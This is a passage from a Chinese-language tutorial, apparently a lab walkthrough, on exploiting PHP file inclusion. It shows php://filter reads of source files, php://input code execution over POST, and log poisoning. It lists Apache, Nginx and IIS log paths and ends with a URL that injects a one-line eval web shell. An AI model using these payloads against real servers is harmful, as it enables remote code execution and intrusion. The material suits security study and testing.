当然里不单单只能读取当前目录下的文件,这里就演示一下另外一种读取方式,我将文件放在上一级目录中,通过php进行读取。
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=../2.php
仔细看URL连接就能看出来,这里使用了之前提到的相对路径读取。
2)php://input
php://input主要是用来执行php代码的,不过php://input需要以POST提交,这里我们先在URL中添加php://input然后抓包把GET修改为POST,最后在数据包的最后输入想要执行的代码就可以实现代码执行。
URL:http://192.168.10.150/1.php/?name=php://input
日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,利用包含漏洞执行。
2.5.1.各类日志存在位置 2.5.1.1.Apacheapache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。
1)Windows系统:
apache安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/apache/access.log或者error.log
/var/log/apache2/access.log或者error.log
/etc/httpd/logs/access_log或者error.log
2.5.1.2.Nginx
nginx存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。
1)Windows系统:
nginx安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/nginx/access.log或者error.log
2.5.1.3.IIS
1)iis6.0版本
C:\windows\system32\LogFiles
2)iis7.5版本
%SystemDrive%\inetpub\logs\LogFiles
2.5.2.包含Apache日志案例
Apache运行后一般默认会生成两个日志文件,access.log(访问日志),error.log(错误日志)。
下图就是被转码的,只需要手动修改一下重新发送即可。
URL:http://192.168.10.150/<?php @eval($_POST[123]);?>